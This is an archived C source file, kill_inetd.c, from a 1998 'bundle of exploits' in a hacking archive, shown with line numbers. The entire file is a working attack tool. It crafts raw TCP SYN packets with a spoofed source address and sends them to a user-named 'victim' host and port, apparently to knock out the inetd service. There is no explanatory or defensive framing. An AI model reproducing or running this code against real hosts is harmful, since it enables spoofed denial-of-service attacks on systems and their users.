home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / kill_inetd.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  175 lines

  1. #include <sys/types.h>
  2. #include <sys/time.h>
  3. #include <netinet/in.h>
  4. #include <netdb.h>
  5. #include <linux/ip.h>
  6. #include <linux/tcp.h>
  7. #include <stdio.h>
  8.  
  9.  
  10. #define NPROBES 1
  11.  
  12. #define SEQ 0x28374839
  13.  
  14. unsigned short
  15. ip_sum (addr, len)
  16.      u_short *addr;
  17.      int len;
  18. {
  19.   register int nleft = len;
  20.   register u_short *w = addr;
  21.   register int sum = 0;
  22.   u_short answer = 0;
  23.  
  24.   /*
  25.    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  26.    * sequential 16 bit words to it, and at the end, fold back all the
  27.    * carry bits from the top 16 bits into the lower 16 bits.
  28.    */
  29.   while (nleft > 1)
  30.     {
  31.       sum += *w++;
  32.       nleft -= 2;
  33.     }
  34.  
  35.   /* mop up an odd byte, if necessary */
  36.   if (nleft == 1)
  37.     {
  38.       *(u_char *) (&answer) = *(u_char *) w;
  39.       sum += answer;
  40.     }
  41.  
  42.   /* add back carry outs from top 16 bits to low 16 bits */
  43.   sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  44.   sum += (sum >> 16);           /* add carry */
  45.   answer = ~sum;                /* truncate to 16 bits */
  46.   return (answer);
  47. }
  48.  
  49.  
  50. int sock, ssock;
  51.  
  52. void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
  53.   char buf[65536];
  54.   struct {  /* rfc 793 tcp pseudo-header */
  55.     unsigned long saddr, daddr;
  56.     char mbz;
  57.     char ptcl;
  58.     unsigned short tcpl;
  59.   } ph;
  60.  
  61.   struct sockaddr_in sin;    /* how necessary is this? */
  62.  
  63.   ph.saddr=ih->saddr;
  64.   ph.daddr=ih->daddr;
  65.   ph.mbz=0;
  66.   ph.ptcl=IPPROTO_TCP;
  67.   ph.tcpl=htons(sizeof(*th)+dlen);
  68.   memcpy(buf, &ph, sizeof(ph));
  69.   memcpy(buf+sizeof(ph), th, sizeof(*th));
  70.   memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
  71.   memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
  72.   th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
  73.   
  74.   memcpy(buf, ih, 4*ih->ihl);
  75.   memcpy(buf+4*ih->ihl, th, sizeof(*th));
  76.   memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
  77.   memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
  78.   
  79.   ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
  80.   memcpy(buf, ih, 4*ih->ihl);
  81.  
  82.   sin.sin_family=AF_INET;
  83.   sin.sin_port=th->dest;
  84.   sin.sin_addr.s_addr=ih->daddr;
  85.  
  86.   if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
  87.      &sin, sizeof(sin))<0) {
  88.     perror("sendto");
  89.     exit(1);
  90.   }
  91. }
  92.  
  93.  
  94.   
  95.  
  96. probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
  97.   int i;
  98.   struct iphdr ih;
  99.   struct tcphdr th;
  100.   char buf[1024];
  101.   
  102.   ih.version=4;
  103.   ih.ihl=5;
  104.   ih.tos=0;            /* XXX is this normal? */
  105.   ih.tot_len=sizeof(ih)+sizeof(th);
  106.   ih.id=htons(6969);
  107.   ih.frag_off=0;
  108.   ih.ttl=30;
  109.   ih.protocol=IPPROTO_TCP;
  110.   ih.check=0;
  111.   ih.saddr=my_ip;
  112.   ih.daddr=their_ip;
  113.   
  114.   th.source=htons(9999);
  115.   th.dest=htons(port);
  116.   th.seq=htonl(SEQ+i);
  117.   th.ack_seq=0;
  118.   th.res1=0;
  119.   th.doff=sizeof(th)/4;
  120.   th.fin=0;
  121.   th.syn=1;
  122.   th.rst=0;
  123.   th.psh=0;
  124.   th.ack=0;
  125.   th.urg=0;
  126.   th.res2=0;
  127.   th.window=htons(512);
  128.   th.check=0;
  129.   th.urg_ptr=0;
  130.   
  131.   send_tcp_segment(&ih, &th, &ih, 0);
  132.   
  133. }
  134.  
  135. unsigned long getaddr(char *name) {
  136.   struct hostent *hep;
  137.  
  138.   hep=gethostbyname(name);
  139.     if(!hep) {
  140.       fprintf(stderr, "Unknown host %s\n", name);
  141.       exit(1);
  142.     }
  143.   return *(unsigned long *)hep->h_addr;
  144. }
  145.     
  146.  
  147. main(int argc, char **argv) {
  148.   unsigned long me=htonl(0x980101ae), victim;
  149.   int port=13;
  150.   struct hostent *hep;
  151.  
  152.   if(argc<2) {
  153.     printf("Usage: %s target [port [source]]\n", argv[0]);
  154.     exit(1);
  155.   }
  156.   
  157.   if(argc>=2)
  158.     victim=getaddr(argv[1]);
  159.  
  160.   if(argc>=3)
  161.     port=atoi(argv[2]);
  162.  
  163.   if(argc>=4)
  164.     me=getaddr(argv[3]);
  165.   
  166.     
  167.   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  168.   if(sock<0) {
  169.     perror("socket (raw)");
  170.     exit(1);
  171.   }
  172.  
  173.   probe_seq(me, victim, port);
  174. }
  175.